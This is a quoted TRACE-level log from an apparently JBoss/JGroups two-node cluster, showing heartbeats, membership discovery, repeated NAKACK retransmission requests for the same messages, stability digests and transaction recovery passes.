> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
> 2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
> 2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> [OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#10, OM2:1299#6]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
> 2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
> 2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
